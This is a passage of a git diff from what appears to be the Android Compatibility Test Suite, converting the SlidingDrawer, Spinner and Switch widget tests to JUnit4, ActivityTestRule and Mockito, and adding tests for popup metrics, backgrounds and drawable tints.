         final SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        MockOnDrawerScrollListener listener = new MockOnDrawerScrollListener();
-        drawer.setOnDrawerScrollListener(listener);
-        assertFalse(listener.hadStartedScroll());
-        assertFalse(listener.hadEndedScroll());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                drawer.animateOpen();
-            }
-        });
-        if ( !listener.hadStartedScroll() ) {
-            synchronized (mLock) {
-                mLock.wait(TEST_TIMEOUT);
-            }
-        }
-        assertTrue(listener.hadStartedScroll());
+        final SlidingDrawer.OnDrawerScrollListener mockScrollListener =
+                mock(SlidingDrawer.OnDrawerScrollListener.class);
+        drawer.setOnDrawerScrollListener(mockScrollListener);
 
-        if ( !listener.hadEndedScroll() ) {
-            synchronized (mLock) {
-                mLock.wait(TEST_TIMEOUT);
-            }
-        }
-        assertTrue(listener.hadStartedScroll());
-        assertTrue(listener.hadEndedScroll());
-    }
+        drawer.animateOpen();
 
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
+        verify(mockScrollListener, within(TEST_TIMEOUT)).onScrollStarted();
+        verify(mockScrollListener, within(TEST_TIMEOUT)).onScrollEnded();
 
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testOnFinishInflate() {
-        // onFinishInflate() is implementation details, do NOT test
-    }
-
-    public void testDispatchDraw() {
-        // dispatchDraw() is implementation details, do NOT test
-    }
-
-    public void testOnInterceptTouchEvent() {
-        // onInterceptTouchEvent() is implementation details, do NOT test
-    }
-
-    public void testOnTouchEvent() {
-        // onTouchEvent() is implementation details, do NOT test
-    }
-
-    private static final class MockOnDrawerOpenListener implements OnDrawerOpenListener {
-        private boolean mHadOpenedDrawer = false;
-
-        public void onDrawerOpened() {
-            mHadOpenedDrawer = true;
-        }
-
-        public boolean hadOpenedDrawer() {
-            return mHadOpenedDrawer;
-        }
-    }
-
-    private static final class MockOnDrawerCloseListener implements OnDrawerCloseListener {
-        private boolean mHadClosedDrawer = false;
-
-        public void onDrawerClosed() {
-            mHadClosedDrawer = true;
-        }
-
-        public boolean hadClosedDrawer() {
-            return mHadClosedDrawer;
-        }
-    }
-
-    private final class MockOnDrawerScrollListener implements OnDrawerScrollListener {
-        private boolean mHadEndedScroll = false;
-        private boolean mHadStartedScroll = false;
-
-        public void onScrollEnded() {
-            synchronized (mLock) {
-                assertTrue(mHadStartedScroll);
-                mHadEndedScroll = true;
-                mLock.notify();
-            }
-        }
-
-        public void onScrollStarted() {
-            synchronized (mLock) {
-                mHadStartedScroll = true;
-                mLock.notify();
-            }
-        }
-
-        public boolean hadEndedScroll() {
-            return mHadEndedScroll;
-        }
-
-        public boolean hadStartedScroll() {
-            return mHadStartedScroll;
-        }
+        InOrder inOrder = inOrder(mockScrollListener);
+        inOrder.verify(mockScrollListener).onScrollStarted();
+        inOrder.verify(mockScrollListener).onScrollEnded();
+        verifyNoMoreInteractions(mockScrollListener);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/SpinnerCtsActivity.java
new file mode 100644
index 0000000..16fb30e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.Spinner;
+
+/**
+ * A minimal application for {@link Spinner} test.
+ */
+public class SpinnerCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.spinner_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index eea1e3e..9aebd71 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -16,101 +16,184 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
 
-
+import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.Dialog;
-import android.content.Context;
+import android.app.Instrumentation;
+import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
 import android.content.res.Resources.Theme;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.graphics.Color;
+import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
+import android.view.Gravity;
+import android.view.KeyEvent;
+import android.view.ViewGroup;
 import android.widget.ArrayAdapter;
 import android.widget.Spinner;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Spinner}.
  */
-public class SpinnerTest extends ActivityInstrumentationTestCase2<RelativeLayoutCtsActivity> {
-    private Context mTargetContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SpinnerTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private Spinner mSpinnerDialogMode;
+    private Spinner mSpinnerDropdownMode;
 
-    public SpinnerTest() {
-        super("android.widget.cts", RelativeLayoutCtsActivity.class);
+    @Rule
+    public ActivityTestRule<SpinnerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SpinnerCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mSpinnerDialogMode = (Spinner) mActivity.findViewById(R.id.spinner_dialog_mode);
+        mSpinnerDropdownMode = (Spinner) mActivity.findViewById(R.id.spinner_dropdown_mode);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTargetContext = getInstrumentation().getTargetContext();
-    }
-
-    @UiThreadTest
+    @Test
     public void testConstructor() {
-        new Spinner(mTargetContext);
+        new Spinner(mActivity);
 
-        new Spinner(mTargetContext, null);
+        new Spinner(mActivity, null);
 
-        new Spinner(mTargetContext, null, android.R.attr.spinnerStyle);
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle);
 
-        new Spinner(mTargetContext, Spinner.MODE_DIALOG);
+        new Spinner(mActivity, Spinner.MODE_DIALOG);
 
-        new Spinner(mTargetContext, null, android.R.attr.spinnerStyle,
+        new Spinner(mActivity, Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle, Spinner.MODE_DIALOG);
+
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle, Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Spinner,
                 Spinner.MODE_DIALOG);
 
-        new Spinner(mTargetContext, null, android.R.attr.spinnerStyle, 0,
+        new Spinner(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Spinner,
+                Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_Spinner,
                 Spinner.MODE_DIALOG);
 
-        new Spinner(mTargetContext, null, android.R.attr.spinnerStyle, 0,
-                Spinner.MODE_DIALOG, mTargetContext.getTheme());
+        new Spinner(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_Spinner,
+                Spinner.MODE_DROPDOWN);
 
-        Spinner spinner = (Spinner) getActivity().findViewById(R.id.spinner1);
-        assertEquals(mTargetContext.getString(R.string.text_view_hello), spinner.getPrompt());
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Spinner,
+                Spinner.MODE_DIALOG);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Spinner,
+                Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Spinner_Underlined,
+                Spinner.MODE_DIALOG);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Spinner_Underlined,
+                Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Light_Spinner,
+                Spinner.MODE_DIALOG);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Light_Spinner,
+                Spinner.MODE_DROPDOWN);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Light_Spinner_Underlined,
+                Spinner.MODE_DIALOG);
+
+        new Spinner(mActivity, null, 0, android.R.style.Widget_Material_Light_Spinner_Underlined,
+                Spinner.MODE_DROPDOWN);
+
+        final Resources.Theme popupTheme = mActivity.getResources().newTheme();
+        popupTheme.applyStyle(android.R.style.Theme_Material, true);
+
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle, 0, Spinner.MODE_DIALOG,
+                popupTheme);
+
+        new Spinner(mActivity, null, android.R.attr.spinnerStyle, 0, Spinner.MODE_DROPDOWN,
+                popupTheme);
     }
 
-    @UiThreadTest
-    public void testGetBaseline() {
-        Spinner spinner = new Spinner(mTargetContext);
-
+    private void verifyGetBaseline(Spinner spinner) throws Throwable {
         assertEquals(-1, spinner.getBaseline());
 
-        spinner = (Spinner) getActivity().findViewById(R.id.spinner1);
-        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mTargetContext,
-                android.widget.cts.R.array.string, android.R.layout.simple_spinner_item);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
         adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        spinner.setAdapter(adapter);
-        assertTrue(spinner.getBaseline() > 0);
+        mActivityRule.runOnUiThread(() -> {
+            spinner.setAdapter(adapter);
+            assertTrue(spinner.getBaseline() > 0);
+        });
     }
 
-    @UiThreadTest
-    public void testSetOnItemClickListener() {
-        Spinner spinner = new Spinner(mTargetContext);
+    @Test
+    public void testGetBaseline() throws Throwable {
+        verifyGetBaseline(mSpinnerDialogMode);
+        verifyGetBaseline(mSpinnerDropdownMode);
+    }
 
+    private void verifySetOnItemClickListener(Spinner spinner) {
         try {
             spinner.setOnItemClickListener(null);
             fail("Should throw RuntimeException");
         } catch (RuntimeException e) {
         }
+
+        try {
+            spinner.setOnItemClickListener(mock(Spinner.OnItemClickListener.class));
+            fail("Should throw RuntimeException");
+        } catch (RuntimeException e) {
+        }
     }
 
-    @UiThreadTest
-    public void testPerformClick() {
-        final Spinner spinner = (Spinner) getActivity().findViewById(R.id.spinner1);
-
-        assertTrue(spinner.performClick());
-
-        // TODO: no description for the expected result for this method in its javadoc, issue?
-        // Or do UI check?
+    @Test
+    public void testSetOnItemClickListener() {
+        verifySetOnItemClickListener(mSpinnerDialogMode);
+        verifySetOnItemClickListener(mSpinnerDropdownMode);
     }
 
-    @UiThreadTest
-    public void testOnClick() {
-        Spinner spinner = new Spinner(mTargetContext);
+    private void verifyPerformClick(Spinner spinner) throws Throwable {
+        mActivityRule.runOnUiThread(() -> assertTrue(spinner.performClick()));
+    }
+
+    @Test
+    public void testPerformClick() throws Throwable {
+        verifyPerformClick(mSpinnerDialogMode);
+        verifyPerformClick(mSpinnerDropdownMode);
+    }
+
+    private void verifyOnClick(Spinner spinner) {
         // normal value
-        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+        AlertDialog.Builder builder = new AlertDialog.Builder(mActivity);
         AlertDialog alertDialog = builder.show();
         assertTrue(alertDialog.isShowing());
+
         spinner.onClick(alertDialog, 10);
         assertEquals(10, spinner.getSelectedItemPosition());
         assertFalse(alertDialog.isShowing());
@@ -122,35 +205,44 @@
         } catch (NullPointerException e) {
         }
 
-        Dialog dialog = new Dialog(getActivity());
+        Dialog dialog = new Dialog(mActivity);
         dialog.show();
         assertTrue(dialog.isShowing());
+
         spinner.onClick(dialog, -10);
         assertEquals(-10, spinner.getSelectedItemPosition());
         assertFalse(dialog.isShowing());
     }
 
     @UiThreadTest
-    public void testAccessPrompt() {
+    @Test
+    public void testOnClick() {
+        verifyOnClick(mSpinnerDialogMode);
+        verifyOnClick(mSpinnerDropdownMode);
+    }
+
+    private void verifyAccessPrompt(Spinner spinner) throws Throwable {
+        final String initialPrompt = mActivity.getString(R.string.text_view_hello);
+        assertEquals(initialPrompt, spinner.getPrompt());
+
         final String promptText = "prompt text";
 
-        Spinner spinner = new Spinner(mTargetContext);
-
-        spinner.setPrompt(promptText);
+        mActivityRule.runOnUiThread(() -> spinner.setPrompt(promptText));
         assertEquals(promptText, spinner.getPrompt());
 
         spinner.setPrompt(null);
         assertNull(spinner.getPrompt());
-
-        // TODO: find the dialog and get its title to assert whether setPrompt() takes effect?
     }
 
-    @UiThreadTest
-    public void testSetPromptId() {
-        Spinner spinner = new Spinner(mTargetContext);
+    @Test
+    public void testAccessPrompt() throws Throwable {
+        verifyAccessPrompt(mSpinnerDialogMode);
+        verifyAccessPrompt(mSpinnerDropdownMode);
+    }
 
-        spinner.setPromptId(R.string.hello_world);
-        assertEquals(mTargetContext.getString(R.string.hello_world), spinner.getPrompt());
+    private void verifySetPromptId(Spinner spinner) throws Throwable {
+        mActivityRule.runOnUiThread(() -> spinner.setPromptId(R.string.hello_world));
+        assertEquals(mActivity.getString(R.string.hello_world), spinner.getPrompt());
 
         try {
             spinner.setPromptId(-1);
@@ -165,23 +257,206 @@
         } catch (NotFoundException e) {
             // issue 1695243, not clear what is supposed to happen if promptId is exceptional.
         }
+    }
 
-        // TODO: find the dialog and get its title to assert whether setPromptId() takes effect?
+    @Test
+    public void testSetPromptId() throws Throwable {
+        verifySetPromptId(mSpinnerDialogMode);
+        verifySetPromptId(mSpinnerDropdownMode);
     }
 
     @UiThreadTest
+    @Test
     public void testGetPopupContext() {
-        Theme theme = mTargetContext.getResources().newTheme();
-        Spinner themeSpinner = new Spinner(mTargetContext, null,
+        Theme theme = mActivity.getResources().newTheme();
+        Spinner themeSpinner = new Spinner(mActivity, null,
                 android.R.attr.spinnerStyle, 0, Spinner.MODE_DIALOG, theme);
-        assertNotSame(mTargetContext, themeSpinner.getPopupContext());
+        assertNotSame(mActivity, themeSpinner.getPopupContext());
         assertSame(theme, themeSpinner.getPopupContext().getTheme());
 
         ContextThemeWrapper context = (ContextThemeWrapper)themeSpinner.getPopupContext();
-        assertSame(mTargetContext, context.getBaseContext());
+        assertSame(mActivity, context.getBaseContext());
     }
 
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
+    private void verifyGravity(Spinner spinner) throws Throwable {
+        // Note that here we're using a custom layout for the spinner's selected item
+        // that doesn't span the whole width of the parent. That way we're exercising the
+        // relevant path in spinner's layout pass that handles the currently set gravity
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, R.layout.simple_spinner_item_layout);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mActivityRule.runOnUiThread(() -> spinner.setAdapter(adapter));
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, spinner, () -> {
+            spinner.setSelection(1);
+            spinner.getLayoutParams().width = ViewGroup.LayoutParams.MATCH_PARENT;
+            spinner.requestLayout();
+        });
+
+        mActivityRule.runOnUiThread(() -> spinner.setGravity(Gravity.LEFT));
+        assertEquals(Gravity.LEFT, spinner.getGravity());
+
+        mActivityRule.runOnUiThread(() -> spinner.setGravity(Gravity.CENTER_HORIZONTAL));
+        assertEquals(Gravity.CENTER_HORIZONTAL, spinner.getGravity());
+
+        mActivityRule.runOnUiThread((() -> spinner.setGravity(Gravity.RIGHT)));
+        assertEquals(Gravity.RIGHT, spinner.getGravity());
+
+        mActivityRule.runOnUiThread(() -> spinner.setGravity(Gravity.START));
+        assertEquals(Gravity.START, spinner.getGravity());
+
+        mActivityRule.runOnUiThread(() -> spinner.setGravity(Gravity.END));
+        assertEquals(Gravity.END, spinner.getGravity());
+    }
+
+    @Test
+    public void testGravity() throws Throwable {
+        verifyGravity(mSpinnerDialogMode);
+        verifyGravity(mSpinnerDropdownMode);
+    }
+
+    @Test
+    public void testDropDownMetricsDropdownMode() throws Throwable {
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mActivityRule.runOnUiThread(() -> mSpinnerDropdownMode.setAdapter(adapter));
+
+        final Resources res = mActivity.getResources();
+        final int dropDownWidth = res.getDimensionPixelSize(R.dimen.spinner_dropdown_width);
+        final int dropDownOffsetHorizontal =
+                res.getDimensionPixelSize(R.dimen.spinner_dropdown_offset_h);
+        final int dropDownOffsetVertical =
+                res.getDimensionPixelSize(R.dimen.spinner_dropdown_offset_v);
+
+        mActivityRule.runOnUiThread(() -> {
+            mSpinnerDropdownMode.setDropDownWidth(dropDownWidth);
+            mSpinnerDropdownMode.setDropDownHorizontalOffset(dropDownOffsetHorizontal);
+            mSpinnerDropdownMode.setDropDownVerticalOffset(dropDownOffsetVertical);
+        });
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDropdownMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDropdownMode.isPopupShowing());
+
+        // And test its attributes
+        assertEquals(dropDownWidth, mSpinnerDropdownMode.getDropDownWidth());
+        // TODO: restore when b/28089349 is addressed
+        // assertEquals(dropDownOffsetHorizontal,
+        //      mSpinnerDropdownMode.getDropDownHorizontalOffset());
+        assertEquals(dropDownOffsetVertical, mSpinnerDropdownMode.getDropDownVerticalOffset());
+    }
+
+    @Test
+    public void testDropDownMetricsDialogMode() throws Throwable {
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mActivityRule.runOnUiThread(() -> mSpinnerDialogMode.setAdapter(adapter));
+
+        final Resources res = mActivity.getResources();
+        final int dropDownWidth = res.getDimensionPixelSize(R.dimen.spinner_dropdown_width);
+        final int dropDownOffsetHorizontal =
+                res.getDimensionPixelSize(R.dimen.spinner_dropdown_offset_h);
+        final int dropDownOffsetVertical =
+                res.getDimensionPixelSize(R.dimen.spinner_dropdown_offset_v);
+
+        mActivityRule.runOnUiThread(() -> {
+            // These are all expected to be no-ops
+            mSpinnerDialogMode.setDropDownWidth(dropDownWidth);
+            mSpinnerDialogMode.setDropDownHorizontalOffset(dropDownOffsetHorizontal);
+            mSpinnerDialogMode.setDropDownVerticalOffset(dropDownOffsetVertical);
+        });
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDialogMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDialogMode.isPopupShowing());
+
+        // And test its attributes. Note that we are not testing the result of getDropDownWidth
+        // for this mode
+        assertEquals(0, mSpinnerDialogMode.getDropDownHorizontalOffset());
+        assertEquals(0, mSpinnerDialogMode.getDropDownVerticalOffset());
+    }
+
+    @Test
+    public void testDropDownBackgroundDropdownMode() throws Throwable {
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mActivityRule.runOnUiThread(() -> mSpinnerDropdownMode.setAdapter(adapter));
+
+        // Set blue background on the popup
+        mActivityRule.runOnUiThread(() ->
+                mSpinnerDropdownMode.setPopupBackgroundResource(R.drawable.blue_fill));
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDropdownMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDropdownMode.isPopupShowing());
+        // And test its fill
+        Drawable dropDownBackground = mSpinnerDropdownMode.getPopupBackground();
+        TestUtils.assertAllPixelsOfColor("Drop down should be blue", dropDownBackground,
+                dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
+                false, Color.BLUE, 1, true);
+
+        // Dismiss the popup with the emulated back key
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+        mInstrumentation.waitForIdleSync();
+        // Verify that we're not showing the popup
+        assertFalse(mSpinnerDropdownMode.isPopupShowing());
+
+        // Set yellow background on the popup
+        mActivityRule.runOnUiThread(() ->
+                mSpinnerDropdownMode.setPopupBackgroundDrawable(
+                        mActivity.getDrawable(R.drawable.yellow_fill)));
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDropdownMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDropdownMode.isPopupShowing());
+        // And test its fill
+        dropDownBackground = mSpinnerDropdownMode.getPopupBackground();
+        TestUtils.assertAllPixelsOfColor("Drop down should be yellow", dropDownBackground,
+                dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
+                false, Color.YELLOW, 1, true);
+    }
+
+    @Test
+    public void testDropDownBackgroundDialogMode() throws Throwable {
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mActivity,
+                R.array.string, android.R.layout.simple_spinner_item);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mActivityRule.runOnUiThread(() -> mSpinnerDialogMode.setAdapter(adapter));
+
+        // Set blue background on the popup
+        mActivityRule.runOnUiThread(() ->
+                mSpinnerDialogMode.setPopupBackgroundResource(R.drawable.blue_fill));
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDialogMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDialogMode.isPopupShowing());
+        // And test that getPopupBackground returns null
+        assertNull(mSpinnerDialogMode.getPopupBackground());
+
+        // Dismiss the popup with the emulated back key
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+        mInstrumentation.waitForIdleSync();
+        // Verify that we're not showing the popup
+        assertFalse(mSpinnerDialogMode.isPopupShowing());
+
+        // Set yellow background on the popup
+        mActivityRule.runOnUiThread(() ->
+                mSpinnerDialogMode.setPopupBackgroundDrawable(
+                        mActivity.getDrawable(R.drawable.yellow_fill)));
+
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mSpinnerDialogMode);
+        // Verify that we're showing the popup
+        assertTrue(mSpinnerDialogMode.isPopupShowing());
+        // And test that getPopupBackground returns null
+        assertNull(mSpinnerDialogMode.getPopupBackground());
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SwitchTest.java b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
index 216b17b..1123a4e 100644
--- a/tests/tests/widget/src/android/widget/cts/SwitchTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
@@ -16,38 +16,62 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.res.ColorStateList;
 import android.graphics.Color;
 import android.graphics.PorterDuff.Mode;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.graphics.Rect;
+import android.graphics.Typeface;
+import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ContextThemeWrapper;
+import android.view.ViewGroup;
 import android.widget.Switch;
-import org.xmlpull.v1.XmlPullParserException;
+import android.widget.cts.util.TestUtils;
 
-import java.io.IOException;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Switch}.
  */
-@SmallTest
-public class SwitchTest extends ActivityInstrumentationTestCase<SwitchCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SwitchTest {
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
     private Switch mSwitch;
 
-    public SwitchTest() {
-        super("android.widget.cts", SwitchCtsActivity.class);
+    @Rule
+    public ActivityTestRule<SwitchCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SwitchCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mSwitch = (Switch) mActivity.findViewById(R.id.switch_view);
+    private Switch findSwitchById(int id) {
+        return (Switch) mActivity.findViewById(id);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new Switch(mActivity);
 
@@ -55,11 +79,17 @@
 
         new Switch(mActivity, null, android.R.attr.switchStyle);
 
+        new Switch(mActivity, null, 0, android.R.style.Widget_Material_CompoundButton_Switch);
+
         new Switch(mActivity, null, 0, android.R.style.Widget_Material_Light_CompoundButton_Switch);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessThumbTint() {
+        mSwitch = findSwitchById(R.id.switch1);
+
+        // These are the default set in layout XML
         assertEquals(Color.WHITE, mSwitch.getThumbTintList().getDefaultColor());
         assertEquals(Mode.SRC_OVER, mSwitch.getThumbTintMode());
 
@@ -72,7 +102,11 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessTrackTint() {
+        mSwitch = findSwitchById(R.id.switch1);
+
+        // These are the default set in layout XML
         assertEquals(Color.BLACK, mSwitch.getTrackTintList().getDefaultColor());
         assertEquals(Mode.SRC_ATOP, mSwitch.getTrackTintMode());
 
@@ -83,4 +117,175 @@
         assertSame(colors, mSwitch.getTrackTintList());
         assertEquals(Mode.XOR, mSwitch.getTrackTintMode());
     }
+
+    @Test
+    public void testAccessThumbDrawable() throws Throwable {
+        mSwitch = findSwitchById(R.id.switch2);
+
+        // This is the default set in layout XML
+        Drawable thumbDrawable = mSwitch.getThumbDrawable();
+        TestUtils.assertAllPixelsOfColor("Thumb drawable should be blue", thumbDrawable,
+                thumbDrawable.getIntrinsicWidth(), thumbDrawable.getIntrinsicHeight(), false,
+                Color.BLUE, 1, true);
+
+        // Change thumb drawable to red
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setThumbDrawable(mActivity.getDrawable(R.drawable.icon_red)));
+        thumbDrawable = mSwitch.getThumbDrawable();
+        TestUtils.assertAllPixelsOfColor("Thumb drawable should be red", thumbDrawable,
+                thumbDrawable.getIntrinsicWidth(), thumbDrawable.getIntrinsicHeight(), false,
+                Color.RED, 1, true);
+
+        // Change thumb drawable to green
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+                () -> mSwitch.setThumbResource(R.drawable.icon_green));
+        thumbDrawable = mSwitch.getThumbDrawable();
+        TestUtils.assertAllPixelsOfColor("Thumb drawable should be green", thumbDrawable,
+                thumbDrawable.getIntrinsicWidth(), thumbDrawable.getIntrinsicHeight(), false,
+                Color.GREEN, 1, true);
+
+        // Now tint the latest (green) thumb drawable with 50% blue SRC_OVER
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch, () -> {
+            mSwitch.setThumbTintList(ColorStateList.valueOf(0x800000FF));
+            mSwitch.setThumbTintMode(Mode.SRC_OVER);
+        });
+        thumbDrawable = mSwitch.getThumbDrawable();
+        TestUtils.assertAllPixelsOfColor("Thumb drawable should be green / blue", thumbDrawable,
+                thumbDrawable.getIntrinsicWidth(), thumbDrawable.getIntrinsicHeight(), false,
+                TestUtils.compositeColors(0x800000FF, Color.GREEN), 1, true);
+    }
+
+    @Test
+    public void testAccessTrackDrawable() throws Throwable {
+        mSwitch = findSwitchById(R.id.switch2);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
+            () -> mSwitch.setTrackTintMode(Mode.DST));
+
+        // This is the default set in layout XML
+        Drawable trackDrawable = mSwitch.getTrackDrawable();
+        Rect trackDrawableBounds = trackDrawable.getBounds();
+        TestUtils.assertAllPixelsOfColor("Track drawable should be 50% red", trackDrawable,
+                trackDrawableBounds.width(), trackDrawableBounds.height(), false,
+                0x80FF0000, 1, true);
+
+        // Change track drawable to blue
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSwitch,
